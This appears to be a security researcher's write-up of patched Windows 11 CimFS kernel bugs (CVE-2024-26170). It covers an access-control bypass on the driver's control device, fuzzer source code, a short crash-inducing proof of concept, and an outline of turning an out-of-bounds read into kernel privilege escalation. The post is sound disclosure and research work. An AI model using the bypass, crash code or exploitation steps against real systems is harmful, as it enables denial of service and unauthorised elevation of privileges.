Introduction

Many vulnerability writeups nowadays focus on the exploitation process when it comes to software bugs. The term “Exploit Developer” is also still used synonymously with Vulnerability Research, presumably coming from the early 2000s where bugs were easily discoverable and the community was just beginning to explore the art of exploitation. However nowadays with SDL and continuous fuzzing, the discovery of unknown vulnerabilities in crucial systems is getting more important, arguably more than the exploitation process. In order to encourage more writing on the aspect of Vulnerability Discovery, we are releasing this blogpost discussing the journey of finding and exploiting a kernel 0day in Windows 11 for Local Privilege Escalation.

The bugs mentioned in this post were all patched in the March 2024 update as CVE-2024-26170. After one year of patching, we feel ready to release this blog post. The bugs were patched by simply restricting access to the driver from unprivileged users, so they were not identifiable by patch diffing. This also means the bugs are still Admin->Kernel 0days, but there are many such attack avenues on Windows and Microsoft does not treat them as a breach of security boundary.

The Beginning

It was early 2024 when I first joined STAR Labs, and right from the start, our boss had us focused on preparing for Pwn2Own 2024. Among the many potential targets he pointed out, one stood out: cimfs.sys, the Composite Image File System driver. This particular driver, part of the default installation on Windows 11, seemed to offer an interesting opportunity. It did not have any known vulnerabilities at the time, which made it an exciting yet risky prospect for us. On one hand, it was a clean slate. A potential new attack surface. On the other hand, this lack of prior research or N-day exploits meant we were venturing into uncharted territory. We had to build our understanding from the ground up, with no roadmap to guide us. And so, the challenge began.

But, just when we thought we were onto something promising, the rug was pulled out from under us. The bugs were patched even before Pwn2Own 2024 kicked off. Talk about a bummer! All that hard work to find a vulnerability in a new target, and just as we were gearing up, it was already closed off.

A little information regarding the Composite Image File Format(CIM):

A CIM is a file-backed image format similar in concept to a WIM.

The CIM format consists of a small collection of flat files that include one or more data and metadata region files, one or more object ID files and one or more filesystem description files. As a result of their "flatness" CIMs are faster to construct, extract and delete than the equivalent raw directories they contain.

CIMs are composite in that a given image can contain multiple file system volumes which can be mounted individually while sharing the same data region backing files.

Once constructed, a CIM can be mounted with the support of the CimFS driver. The mount constructs a read-only disk and file system volume device for the image. The contents of a mounted CIM can be accessed read-only using the standard Win32 or NT API file system interface. The CimFS file system supports many of the constructs of NTFS such as security descriptors, alternate data streams, hard links, and re-parse points.

TLDR: Another filesystem that can be mounted and read from via Win32 APIs. File requests will be handled by the driver cimfs.sys to emulate a readonly filesystem.

The driver exposes a control device object \Device\cimfs\control to facilitate the creation of new CimFS volumes. Usermode clients can interact with the control device by issuing IOCTLs. For example, the IOCTL code 0x220004 is used to mount a new CimFS volume.

  switch ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode )
  {
    case 0x220004u:                             // mount volume
      
      ...

      for ( i = CimFs::g_LoadReference + 1; i > 1; i = v85 + 1 )
      {
        v86 = v85;
        v85 = _InterlockedCompareExchange64(&CimFs::g_LoadReference, i, v85);
        if ( v86 == v85 )
        {
          mountImageFlags = userBuffer->MountImageFlags;
          regionSetBuf = (_UNICODE_STRING)regionSetBufRef;
          bufferContainingPath = v114;
          result = CimFs::MountVolume(
                     &bufferContainingPath,
                     (struct cstmREGION_SET *)&regionSetBuf,
                     regionOffset,
                     userBuffer,
                     mountImageFlags);
          if ( (int)result >= 0 )
            return result;
          v88 = _InterlockedDecrement64(&CimFs::g_LoadReference);
          if ( v88 > 0 )
            return result;
          if ( v88 )
            __fastfail(0xEu);
LABEL_197:
          __fastfail(0xEu);
        }
      }
   
    ...

  }

Auth Bypass

The security descriptor set on this device object restricts access to Administrators only.

Sddl: D:P(A;;GA;;;SY)(A;;GA;;;BA)


Owner            :
Group            :
DiscretionaryAcl : {NT AUTHORITY\SYSTEM: AccessAllowed (GenericAll), BUILTIN\Administrators: AccessAllowed
                   (GenericAll)}
SystemAcl        : {}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor

This means the driver was probably not intended to be exposed to unprivileged clients.

However the FILE_DEVICE_SECURE_OPEN flag is not set during device creation, allowing unprivileged users to open a handle and issue IOCTLs to the control device by simply treating it as a filesystem drive.

hDevice = CreateFileW(
    L"\\??\\CimfsControl\\something",
    0,
    0,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
);

The logic is, we are unable to open the root device \\??\\CimfsControl directly due to the DACL set on the object, but that is not propagated to any child devices under the root device, such as \\??\\CimfsControl\\abcdef. All requests will be handled by the control device anyways, allowing us to bypass authentication and open up the attack surface.

Mount Operation

Before deciding on the plan of attack, we need to explore how cimfs.sys works, starting from the mount operation. Luckily for us, cimfs comes with a usermode companion DLL cimfs.dll, and its functions are documented. The DLL is not aware of the auth bypass, so we have to either patch the DLL or issue the calls to the driver manually.

By reversing the companion DLL, we are able to recover the arguments to call mount manually:

typedef struct
{
    GUID                RegionGUID;
    WORD                RegionCount;
    WORD                Padding;
    DWORD               Padding1;
} REGION_FIELD;

typedef struct
{
    GUID                VolumeGUID;
    ULONG64             RegionOffset;
    DWORD               MountImageFlags;
    WORD                RegionEntryCount;
    WORD                ImageContainingPathLengthBytes;
    REGION_FIELD        Regions[1];
    WCHAR               ImageContainingPath[];
} IOCTL_MOUNT_BUFFER_DATA;

Before mount, we need to create some files that stores the underlying CIM filesystem. These files look like: and are created by the companion DLL in exported function CimCreateImage().

These files have a complex binary format that’s completely undocumented, and it will be quite difficult to fully recover the format. In particular, the region file is 135168 bytes large, storing various data segments, stream segments, reparse data, hardlink data, security descriptor, file hash… It’s essentially a full filesystem!

During mount, cimfs.sys

  • Uses the Cim::ImageReader::* functions to extract metadata from the region file
  • Creates a new disk device under \Device\cimfs\
  • Creates a new volume device
  • Stores metadata in the DeviceExtension of each device
VolumeDeviceObject_1->Extension.ChildOnly = MountImageFlags & 1;
VolumeDeviceObject_1->Extension.DirectAccess = (MountImageFlags & 2) != 0;
VolumeDeviceObject_1->DeviceObject.StackSize = ModifiedStackSize + 1;
VolumeDeviceObject_1->DeviceObject.Flags |= ModifiedFlags;
VolumeDeviceObject_1->DeviceObject.Flags &= 0xFFFFFF7F;// &~ DO_DEVICE_INITIALIZING
VolumeDeviceObjectRef1 = VolumeDeviceObject_1;
VolumeDeviceObject_1 = 0LL;
DiskDeviceObject->Extension.VolumeDevice = VolumeDeviceObjectRef1;
DiskDeviceObject->DeviceObject.Flags &= 0xFFFFFF7F;// &~ DO_DEVICE_INITIALIZING
DiskDeviceObject = 0LL;
StackSize = DeviceObject->StackSize;
if ( (char)(ModifiedStackSize + 1) >= StackSize )
  StackSize = ModifiedStackSize + 1;
DeviceObject->StackSize = StackSize;
v85 = CimFs::NotifyMountManager(&outputDeviceNameWchar, 1);

After mounting, the volume device will be available under the \\?\Volume{VOLUME_GUID}\ global directory, where we can create a handle and use normal Win32 APIs to interact with.

For example:

CimManualMountImage(ImageContainingPath, ImageName, MountImageFlags, VolumeId);

StringFromGUID2(VolumeId, &volumeIdString, GUID_BUFFER_SIZE_WCHAR);
wsprintfW(&mountedVolumeRoot, L"\\\\?\\Volume%s\\", volumeIdString);

// Attempt to create a handle to the file1(hardlink ADS)
wsprintfW(commonPathBuffer, L"%s%s", mountedVolumeRoot, Name1);
hFile = FsOpenReadonlyFile(commonPathBuffer);

We can use the handle hFile like a normal file now. All file operations will be forwarded down the filesystem stack until it hits the volume device created during mount. cimfs detects it’s a volume device by checking the device extension, then completes the filesystem request by parsing the region file.

Attack Plan

The region file is a complex filesystem stored in a single file. In fact, it supports many NTFS operations, such as Alternate Data Stream(ADS), Hardlink, Security Descriptors, Attributes, Reparse Data, Extended Attributes(EA)…
The cimfs driver has to parse this region file to attend to any of these requests. As we know from history, parsing is hard. It is probably a good idea to fuzz the driver first while we manually work out the file format, rather than getting stuck at reversing and wasting time.

I quickly wrote a custom fuzzer to throw test cases at the driver. The idea is, we have already audited the mount image code, so we want to focus on the operations after mount. We will use the mount operation as a verifier. Any mutation that leads to a failed mount will be discarded(really coarse but good enough for a simple fuzz). This way we get to control and direct mutation without any additional instrumentation. After successfully mounting, we will exercise parsing code by calling Win32 APIs.

The main logic looks like:

// Create initial corpus files
FuzzerCreateInitialCorpus(ATTRIBUTES_COPY_FILE, FILESYSTEM_FILE_NAME, FILESYSTEM_HARDLINK, FILESYSTEM_FILE_ADS, IMAGE_CONTAINING_PATH, IMAGE_NAME);

// Generate volume GUID for mount
UuidCreate(&volumeId);

// Read initial corpus into memory

// Start by reading on disk headers in cim file to obtain region GUID
hCimfile = FsOpenReadonlyFile(initialCimFile);
if (hCimfile == INVALID_HANDLE_VALUE) {
    FATAL("[-] main fail: FsOpenReadonlyFile(0x%08X)\n", GetLastError());
}
if (!CimGetRegionGUID(hCimfile, &regionId)) {
    FATAL("[-] main fail: CimGetRegionGUID(0x%08X)\n", GetLastError());
}
CloseHandle(hCimfile);

// Now load corpus
StringFromGUID2(&regionId, &regionIdString, GUID_BUFFER_SIZE_WCHAR);
// Remove braces {}
regionIdString[37] = 0;
wsprintfW(initialCorpusPath, IMAGE_CONTAINING_PATH L"region_%s_0", &regionIdString[1]);
FuzzerLoadCorpusInMem(initialCorpusPath);

// Dry run
status = FuzzerTryMountAndCreateHandles(IMAGE_CONTAINING_PATH, IMAGE_NAME, CIM_MOUNT_CHILD_ONLY, &volumeId, FILESYSTEM_HARDLINK_ADS, FILESYSTEM_HARDLINK, &hHardlinkAds, &hFile);
if (!status) {
    FATAL("[-] Dry run fail: FuzzerTryMountAndCreateHandles(0x%08X)\n", GetLastError());
}
FuzzerQueryHandle(hFile);
FuzzerQueryHandle(hHardlinkAds);
puts("[+] Dry run success");

// Dry run cleanup
CloseHandle(hFile);
CloseHandle(hHardlinkAds);
CimDismountImage(&volumeId);

for (LARGE_INTEGER effectiveOffset = { 0 } ;;) {
    MutatorMutate(&from);
    nullOrMutate = MutatorGetRandomOffset(1, 10);

    // Count from end
    // We don't use SEEK_END because we want to compute effectiveOffset right now to check whether it's mutable
    if (from & 1) {
        curOffset = MutatorGetRandomOffset(0, EFFECTIVE_FUZZ_BACK);
        effectiveOffset.QuadPart = maxOffset - curOffset;
    }
    else {
        curOffset = MutatorGetRandomOffset(0, EFFECTIVE_FUZZ_FRONT);
        effectiveOffset.QuadPart = FUZZ_FRONT_START + curOffset;
    }

    // Checks on current offset
    if (BitmapIsUntouchable(effectiveOffset.QuadPart))
        continue;

    // Open file and set to proper offset to mutate
    hRegionFile = FsOpenWriteonlyFile(initialCorpusPath);
    if (GetLastError() == 0x20) {
        // Sometimes dismount operation takes a while
        Sleep(5000);
        hRegionFile = FsOpenWriteonlyFile(initialCorpusPath);
    }
    if (hRegionFile == INVALID_HANDLE_VALUE) {
        FATAL("[-] Write sample fail: FsOpenWriteonlyFile(0x%08X)\n", GetLastError());
    }

    status = SetFilePointerEx(hRegionFile, effectiveOffset, NULL, FILE_BEGIN);
    if (!status) {
        FATAL("[-] Write sample fail: SetFilePointerEx(0x%08X)\n", GetLastError());
    }

    // Write mutated byte
    if (nullOrMutate > 8)
        mutated = 0; // 20% chance of nulling
    else
        MutatorMutate(&mutated);

    status = WriteFile(hRegionFile, &mutated, sizeof(BYTE), &written, NULL);
    if (!status) {
        FATAL("[-] Write sample fail: WriteFile(0x%08X)\n", GetLastError());
    }
    CloseHandle(hRegionFile);

    printf("[*] Mutated BYTE <%llu> from <0x%hhx> to <0x%hhx>\n", effectiveOffset.QuadPart, initialCorpusInMem[effectiveOffset.QuadPart], mutated);

    // Verify mutation doesn't affect mount and create
    status = FuzzerTryMountAndCreateHandles(IMAGE_CONTAINING_PATH, IMAGE_NAME, CIM_MOUNT_IMAGE_NONE, &volumeId, FILESYSTEM_HARDLINK_ADS, FILESYSTEM_FILE_NAME, &hHardlinkAds, &hFile);
    if (!status) {
        // Mutation caused either mount or create to fail

        printf("[*] Untouchable BYTE: <%llu>\n", effectiveOffset.QuadPart);
        // Make sure to not mutate in future
        BitmapSetUntouchable(effectiveOffset.QuadPart);
        // Revert mutation
        hRegionFile = FsOpenWriteonlyFile(initialCorpusPath);
        if (GetLastError() == 0x20) {
            // Sometimes dismount operation takes a while
            Sleep(5000);
            hRegionFile = FsOpenWriteonlyFile(initialCorpusPath);
        }
        if (hRegionFile == INVALID_HANDLE_VALUE) {
            FATAL("[-] Write sample fail: FsOpenWriteonlyFile(0x%08X)\n", GetLastError());
        }

        mutated = initialCorpusInMem[effectiveOffset.QuadPart];

        status = SetFilePointerEx(hRegionFile, effectiveOffset, NULL, FILE_BEGIN);
        if (!status) {
            FATAL("[-] Write sample fail: SetFilePointerEx(0x%08X)\n", GetLastError());
        }

        status = WriteFile(hRegionFile, &mutated, sizeof(BYTE), &written, NULL);
        if (!status) {
            FATAL("[-] Write sample fail: WriteFile(0x%08X)\n", GetLastError());
        }
        CloseHandle(hRegionFile);

        continue;
    }

    // Perform filesystem query on the two handles to fuzz
    FuzzerQueryHandle(hFile);
    FuzzerQueryHandle(hHardlinkAds);
    // Finally, cleanup
    CloseHandle(hFile);
    CloseHandle(hHardlinkAds);
    CimDismountImage(&volumeId);
}

out:
    CimDismountImage(&volumeId);

The most important part is the initial corpus creation. We want its entropy to be very high so there’s a bigger chance of our mutation triggering nested complexity. You’d be surprised at how many programs crash when you enable every single feature possible.

// Create main CIM image
hs = CimCreateImage(ImageContainingPath, NULL, ImageName, &hImage);
if (hs != S_OK) {
    FATAL("[-] Create corpus fail: CimCreateImage(0x%08X)\n", hs);
}
wprintf(L"[+] Created CIM file <%s> at %s\n", ImageName, ImageContainingPath);

// Create a filesystem file with filled attributes for maximum entropy

// First open a dummy file to Retrieve attributes
// Lazy to code so use explorer to set bunch of attributes
hAttributesFile = FsOpenReadonlyFile(AttributesFile);
if (hAttributesFile == INVALID_HANDLE_VALUE) {
    FATAL("[-] Create corpus fail: FsOpenReadonlyFile(0x%08X)\n", GetLastError());
}

// Set basic info
status = FsGetBasicFileInfo(hAttributesFile, &attributesInfo);
if (!status) {
    FATAL("[-] Create corpus fail: FsGetBasicFileInfo(0x%08X)\n", GetLastError());
}
// Add some random attributes
metadata.Attributes = FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_EA | FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_RECALL_ON_OPEN;
metadata.ChangeTime = attributesInfo.ChangeTime;
metadata.CreationTime = attributesInfo.CreationTime;
metadata.LastAccessTime = attributesInfo.LastAccessTime;
metadata.LastWriteTime = attributesInfo.LastWriteTime;

// Set security descriptor
errCode = FsGetAllSecurityInfo(hAttributesFile, &securityDescriptor);
if (errCode != ERROR_SUCCESS) {
    FATAL("[-] Create corpus fail: FsGetAllSecurityInfo(0x%08X)\n", errCode);
}
metadata.SecurityDescriptorBuffer = securityDescriptor;
metadata.SecurityDescriptorSize = GetSecurityDescriptorLength(securityDescriptor);

// Set random reparse info
reparseBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x80);
reparseBuf->ReparseTag = 0xcafebabe;
reparseBuf->ReparseDataLength = 0x0;
reparseBuf->Reserved = 0;
metadata.ReparseDataBuffer = reparseBuf;
metadata.ReparseDataSize = 0x0;

// Set random EA info
eaInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xa0);
eaInfo->Flags = FILE_NEED_EA;
RtlCopyMemory(&eaInfo->EaName, "RandomName1", 11);
eaInfo->EaNameLength = 11;
RtlCopyMemory((ULONG_PTR)&eaInfo->EaName + 11 + 1, "RandomValue1", 12);
eaInfo->EaValueLength = 12;
eaInfo->NextEntryOffset = 0x00;
eaInfo = (ULONG_PTR)eaInfo + 0x40;
RtlCopyMemory(&eaInfo->EaName, "RandomName2", 11);
eaInfo->EaNameLength = 11;
RtlCopyMemory((ULONG_PTR)&eaInfo->EaName + 11 + 1, "RandomValue2", 12);
eaInfo->EaValueLength = 12;
eaInfo->NextEntryOffset = 0x0;
eaInfo = (ULONG_PTR)eaInfo - 0x40;
metadata.EaBuffer = eaInfo;
metadata.EaBufferSize = 0xa0;

// Create the filesystem file
metadata.FileSize = FILESYSTEM_FILE_SIZE;
hs = CimCreateFile(hImage, FilesystemFilename, &metadata, &hStream);
if (hs != S_OK) {
    FATAL("[-] Create corpus fail: CimCreateFile(0x%08X)\n", hs);
}

// Write stream data in file
memset(&streamContent, 'B', sizeof(streamContent));
hs = CimWriteStream(hStream, &streamContent, sizeof(streamContent));
if (hs != S_OK) {
    FATAL("[-] Create corpus fail: CimWriteStream(0x%08X)\n", hs);
}
CimCloseStream(hStream);
wprintf(L"[+] Created filesystem file <%s>\n", FilesystemFilename);

// Create ADS
hs = CimCreateAlternateStream(hImage, ADSName, FILESYSTEM_ADS_SIZE, &hStream);
if (hs != S_OK) {
    FATAL("[-] Create corpus fail: CimCreateAlternateStream(0x%08X)\n", hs);
}

// Write data to ADS
memset(&adsContent, 'C', sizeof(adsContent));
hs = CimWriteStream(hStream, &adsContent, sizeof(adsContent));
if (hs != S_OK) {
    FATAL("[-] Create corpus fail: CimWriteStream(0x%08X)\n", hs);
}
CimCloseStream(hStream);
wprintf(L"[+] Created alternate stream <%s>\n", ADSName);

// Create Hardlink
hs = CimCreateHardLink(hImage, FilesystemHardlink, FilesystemFilename);
if (hs != S_OK) {
    FATAL("[-] Create corpus fail: CimCreateHardLink(0x%08X)\n", hs);
}
wprintf(L"[+] Created hardlink <%s>\n", FilesystemHardlink);

hs = CimCommitImage(hImage);
if (hs != S_OK) {
    FATAL("[-] Create corpus fail: CimCommitImage(0x%08X)\n", hs);
}
puts("[+] Committed CIM image");
CimCloseImage(hImage);

Finally we want to exercise the parsing logic:

ReadFile(hFile, &commonBuf, 0x5, &read, NULL);

// Query all possible information
for (int i = 4; i < 77; i++)
    NtQueryInformationFile(hFile, &isb, &commonBuf, sizeof(commonBuf), i);

NtQueryEaFile(hFile, &isb, &commonBuf, sizeof(commonBuf), FALSE, NULL, 0, NULL, TRUE);
FsGetAllSecurityInfo(hFile, NULL);

DeviceIoControl(hFile, FSCTL_GET_REPARSE_POINT, NULL, 0, &commonBuf, sizeof(commonBuf), &read, NULL);

For more chaos we could throw in some random threads to invoke these operations to fuzz for race condition.

Fuzz Results

Simple fuzz leads to good results.

In a few hours of fuzzing and tweaking the fuzz, we get many crashes, which we later group into 7 unique bugs, with impacts ranging from denial of service to infoleak to code execution.

Just for fun, here’s a BSOD poc that could fit in a tweet:

HANDLE      hDevice = NULL, hToken = NULL;
char        x[0x1c] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaa";
DWORD       ret = 0;

hDevice = CreateFileW(
    L"\\??\\CimfsControl\\something",
    0,
    0,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
);

DeviceIoControl(hDevice, 0x220014, &x, sizeof(x), NULL, 0, &ret, NULL);

The bug we eventually exploited for code execution was OOBR1, an out of bounds read bug. There are definitely many more bugs but the fuzzer was unable to move forward due to the shallow crashes.

Bug Analysis

Crash context:

# Child-SP          RetAddr               Call Site
00 fffffb84`f8b94e08 fffff805`12581882     nt!DbgBreakPointWithStatus
01 fffffb84`f8b94e10 fffff805`12580f43     nt!KiBugCheckDebugBreak+0x12
02 fffffb84`f8b94e70 fffff805`12431a87     nt!KeBugCheck2+0xba3
03 fffffb84`f8b955e0 fffff805`12446fa9     nt!KeBugCheckEx+0x107
04 fffffb84`f8b95620 fffff805`124460fc     nt!KiBugCheckDispatch+0x69
05 fffffb84`f8b95760 fffff805`1243cbef     nt!KiSystemServiceHandler+0x7c
06 fffffb84`f8b957a0 fffff805`122ca3f3     nt!RtlpExecuteHandlerForException+0xf
07 fffffb84`f8b957d0 fffff805`1232494e     nt!RtlDispatchException+0x2f3
08 fffffb84`f8b95f40 fffff805`124470fc     nt!KiDispatchException+0x1ae
09 fffffb84`f8b96620 fffff805`12442183     nt!KiExceptionDispatch+0x13c
0a fffffb84`f8b96800 fffff805`123075e0     nt!KiGeneralProtectionFault+0x343
0b fffffb84`f8b96998 fffff803`9585dc86     nt!IoGetRelatedDeviceObject
0c fffffb84`f8b969a0 fffff803`9585d8f8     CimFS!CimFs::NonCachedRead+0x17a
0d fffffb84`f8b96b20 fffff803`95852936     CimFS!CimFs::DispatchVolumeRead+0x11c
0e fffffb84`f8b96b90 fffff805`12307015     CimFS!CimFs::DispatchWrapper<0,&CimFs::DispatchDiskRead,&CimFs::DispatchVolumeRead,&CimFs::DispatchCacheRead>+0x66
0f fffffb84`f8b96bc0 fffff805`1372a1d6     nt!IofCallDriver+0x55
10 fffffb84`f8b96c00 fffff805`13727e23     FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x156
11 fffffb84`f8b96c70 fffff805`12307015     FLTMGR!FltpDispatch+0xa3
12 fffffb84`f8b96cd0 fffff805`122cce27     nt!IofCallDriver+0x55
13 fffffb84`f8b96d10 fffff805`122d2617     nt!IoPageReadEx+0x2d7
14 fffffb84`f8b96d80 fffff805`122d1be7     nt!MiIssueHardFaultIo+0x107
15 fffffb84`f8b96dd0 fffff805`1227de21     nt!MiIssueHardFault+0x207
16 fffffb84`f8b96e80 fffff805`12244412     nt!MmAccessFault+0x331
17 fffffb84`f8b96fa0 fffff805`1278522d     nt!MiPrefetchVirtualMemory+0x25a
18 fffffb84`f8b970c0 fffff805`124466e5     nt!NtSetInformationVirtualMemory+0x5cd
19 fffffb84`f8b97430 00007fff`ee412904     nt!KiSystemServiceCopyEnd+0x25
1a 00000027`c6b7d8b8 00007fff`eb97830a     ntdll!NtSetInformationVirtualMemory+0x14
1b 00000027`c6b7d8c0 00007fff`cba89e1f     KERNELBASE!PrefetchVirtualMemory+0x2a
1c 00000027`c6b7d900 00007fff`cba89816     mprtp!RealtimeProtection::CFileSystemScanRequest::PrefetchFileContent+0x6f
1d 00000027`c6b7d980 00007fff`cba88eaa     mprtp!RealtimeProtection::CFileSystemScanRequest::MapInitialView+0x2c6
1e 00000027`c6b7de60 00007fff`cba88b53     mprtp!RealtimeProtection::CFileSystemScanRequest::ReadFileData+0x13a
1f 00000027`c6b7ded0 00007fff`ca5a9d5a     mprtp!RealtimeProtection::EngineVfzReadFileCallback+0x243
20 00000027`c6b7df30 00007fff`ca5733b7     mpengine!StreamBufferWrapper::Read+0x52
21 00000027`c6b7df70 00007fff`ca573216     mpengine!nUFSP_vfz::Read+0x87
22 00000027`c6b7dfb0 00007fff`cae84f23     mpengine!UfsPluginWrapper::Read+0x76
23 00000027`c6b7e010 00007fff`ca4cd997     mpengine!UfsIoCache::ReadBlock+0x2a3
24 00000027`c6b7e090 00007fff`ca4cd788     mpengine!UfsIoCache::Read+0x97
25 00000027`c6b7e110 00007fff`ca4cc667     mpengine!UfsFile::Read+0xd8
26 00000027`c6b7e170 00007fff`ca4fe43a     mpengine!LoadHeader+0x8f
27 00000027`c6b7e1c0 00007fff`ca4fdfe2     mpengine!UfsNode::Open+0x2fe
28 00000027`c6b7e2b0 00007fff`ca4fd5f7     mpengine!UfsClientRequest::AnalyzeLeaf+0xd6
29 00000027`c6b7e360 00007fff`ca57f66c     mpengine!UfsClientRequest::AnalyzePath+0x24f
2a 00000027`c6b7e420 00007fff`ca4fb04c     mpengine!UfsCmdBase::ExecuteCmd<<lambda_a0de59a4593b5b873ad9a506cf55f982> >+0x154
2b 00000027`c6b7e4c0 00007fff`ca75516f     mpengine!ScanStreamBuffer+0x46c
2c 00000027`c6b7e770 00007fff`ca754d15     mpengine!ksignal+0x37f
2d 00000027`c6b7eab0 00007fff`caa55818     mpengine!DispatchSignalHelper+0x71
2e 00000027`c6b7eb10 00007fff`de3605e2     mpengine!DispatchSignalOnHandle+0x1a8
2f 00000027`c6b7eed0 00007fff`cba941a9     mpsvc!rsignal_wrapper+0x1d2
30 00000027`c6b7ef60 00007fff`cba92dd6     mprtp!RealtimeProtection::CCMEngine::ScanFile+0x189
31 00000027`c6b7f170 00007fff`cba927f4     mprtp!RealtimeProtection::CFileSystemAgent::ScanFile+0x446
32 00000027`c6b7f540 00007fff`cbaa02c6     mprtp!RealtimeProtection::CFileSystemAgent::HandleFileScanRequest+0xb4
33 00000027`c6b7f5d0 00007fff`cbaab8eb     mprtp!RealtimeProtection::CFileSystemWatcher::HandleRequest+0x856
34 00000027`c6b7fca0 00007fff`cbb52fe4     mprtp!RealtimeProtection::CFilterCommunicatorBase::CommunicatorMainFunction+0x2ab
35 00000027`c6b7fd50 00007fff`cbaf3ae0     mprtp!RealtimeProtection::CFilterCommunicatorBase::CommunicatorThread+0x24
36 00000027`c6b7fd90 00007fff`ed8a257d     mprtp!thread_start<unsigned int (__cdecl*)(void *),1>+0x50
37 00000027`c6b7fdc0 00007fff`ee3caa58     KERNEL32!BaseThreadInitThunk+0x1d
38 00000027`c6b7fdf0 00000000`00000000     ntdll!RtlUserThreadStart+0x28

This bug is triggered via a ReadFile() call to the Alternate Data Stream of a Hardlink of a hidden archive file(power of high entropy!). Interestingly it was also triggered when Microsoft Defender was trying to scan our opened file handle.

As mentioned above, cimfs uses Cim::FileSystem::* functions to parse the region file.

An example of a well written function is Cim::FileSystem::GetMappingSegment().

__int64 __fastcall Cim::FileSystem::GetMappingSegment(
        Cim::FileSystem *this,
        const struct Cim::FileSystem::OpenFile *a2,
        struct Cim::FileSystem::RegionSegment *a3)
{
    ...

    if ( !Cim::ImageReader::GetStruct<Cim::Format::Filesystem>(
            (struct cstmREGION_COUNT_VIEW_BUFFER *)((char *)this + 8),
            (__int64 *)&v12,
            v11.m128i_i64[0]) )
      return 3221274625i64;
    if ( (*(_BYTE *)(v12 + 22) & 1) != 0 )
    {
      
      ...

      if ( Cim::ImageReader::GetOffsetTruncate(v5, v9, 0i64, (_QWORD *)a3 + 1, &v12) && v8 <= v12 )
      {

        ...

        return result;
      }
      return 3221274625i64;
    }
  }
  return 3221225659i64;
}

After invoking the Cim::ImageReader::GetStruct() function to obtain metadata(such as offsets) from the region file, the Cim::ImageReader::GetOffsetTruncate() function should be invoked to verify that whatever offsets retrieved lies within the bounds of the mapped region file. Any case that does not require verification must be an error case.

However, the Cim::FileSystem::GetDataSegment() function does not conform to this.

__int64 __fastcall Cim::FileSystem::GetDataSegment(
        Cim::FileSystem *this,
        const struct Cim::FileSystem::OpenFile *a2,
        unsigned __int64 a3,
        unsigned __int64 a4,
        __int64 a5)
{
  
  ...

  if ( Cim::FileSystem::GetStreamSegment(
         this,
         (const struct Cim::FileSystem::OpenFile *)((char *)a2 + 0x68),
         *((_BYTE *)a2 + 0x8C),
         *((_WORD *)a2 + 0x2E),
         a3,
         a4,
         (struct Cim::Format::RegionOffset *)&v14,
         v13) )
  {
    v7 = v13[0];
    v11 = HIWORD(v14);

    ...

    v10 = (*((_BYTE *)a2 + 0x77) & 1) == 0;
    
    ...

    if ( !v10 )
    {
      
      ...

      *(_WORD *)v9 = v11;
      result = 0i64;
      *(_QWORD *)(v9 + 16) = v7;
      return result;
    }
    v13[0] = 0i64;
    if ( Cim::ImageReader::GetOffsetTruncate(
           (struct cstmREGION_COUNT_VIEW_BUFFER *)((char *)this + 8),
           v14,
           0i64,
           v12,
           v13)
      && v7 <= v13[0] )
    {
      ...
    }
  }
  return 0xC000C001i64;
}

Cim::FileSystem::GetStreamSegment() is used to retrieve an offset from the region file into variable v14, which is then copied to variable v11. It is expected that the function verifies this offset before returning because it originates from usermode. However in the case where (*((_BYTE *)a2 + 0x77) & 1) != 0, the function returns success immediately without any checks on the offset.

This byte *(a2 + 0x77) unfortunately also originates from the region file. By passing this check, we can get the function to return an unvalidated offset that’s fully under user control.

5: kd> p
CimFS!Cim::FileSystem::GetDataSegment+0x8d:
fffff805`ce431559 498901          mov     qword ptr [r9],rax
7: kd> r rax
rax=0000434343434343

As execution continues, the offset is used to locate a pointer to a file object in kernel memory, which is then passed to IoGetRelatedDeviceObject(). With an unvalidated offset, the read occurs beyond the bounds of the driver allocated pool chunk and the “pointer” may come from a completely unrelated chunk.

v15 = (unsigned __int16)userControl;
v16 = 0xB8i64 * (unsigned __int16)userControl;
RegionView = (__int64)deviceObjectRef->Extension.RegionView;
v35 = *(_BYTE *)(v16 + RegionView + 136);
v46 = *(PFILE_OBJECT *)(v16 + RegionView + 8);
RelatedDeviceObject = IoGetRelatedDeviceObject(v46);

This device object is later passed to IofCallDriver() under conditions fully controlled by the user.

IoBuildPartialMdl(irp->MdlAddress, AssociatedIrp->MdlAddress, VirtualAddress, v20);
AssociatedIrp->Flags = AssociatedIrp->Flags & 0xFFFFFFF7 | irp->Flags & 0x101;
v31 = AssociatedIrp->Tail.Overlay.CurrentStackLocation;
v31[-1].CompletionRoutine = (PIO_COMPLETION_ROUTINE)CimFs::AssociatedIrpCompletionRoutine;
v31[-1].Context = irp;
v31[-1].Control = -32;
v32 = AssociatedIrp->Tail.Overlay.CurrentStackLocation;
v32[-1].FileObject = v46;
v32[-1].MajorFunction = 3;
v32[-1].Parameters.Read.Length = v20;
v32[-1].Parameters.Read.ByteOffset.QuadPart = *((_QWORD *)&userControl + 1);
IofCallDriver(RelatedDeviceObject, AssociatedIrp);

By spraying the kernel pool with custom objects, an attacker can craft a fake device object structure in kernel memory, which will be returned by IoGetRelatedDeviceObject() and passed to IofCallDriver(). The latter function dereferences the fake device object to find a fake driver object, then calls a function pointer controlled by the attacker inside the driver object. With this, the attacker obtains an arbitrary call primitive, and it would be trivial to bypass CFG and elevate privileges.

Exploitation

As mentioned above, it is possible to control IoGetRelatedDeviceObject() to operate on a pointer from an adjacent allocation in the paged pool. The function expects a PFILE_OBJECT, so we should fake a file object in kernel memory, then spray its address in the paged pool. When IoGetRelatedDeviceObject() operates on this address, it will operate on our fake file object, which will return a fake device object for IofCallDriver() to call. IofCallDriver() then dereferences the device object and makes a call to its DriverObject member, with the first argument being the device object itself.

(DeviceObject->DriverObject.MajorFunction[3])(DeviceObject, Irp);

Since we fully control DeviceObject, this grants us an arbitrary call primitive with one controlled argument. We can call a dereference function such as DirectComposition::CSharedResourceMarshaler<DirectComposition::CResourceMarshaler,0>::ReleaseAllReferences() to obtain an arbitrary zero primitive.

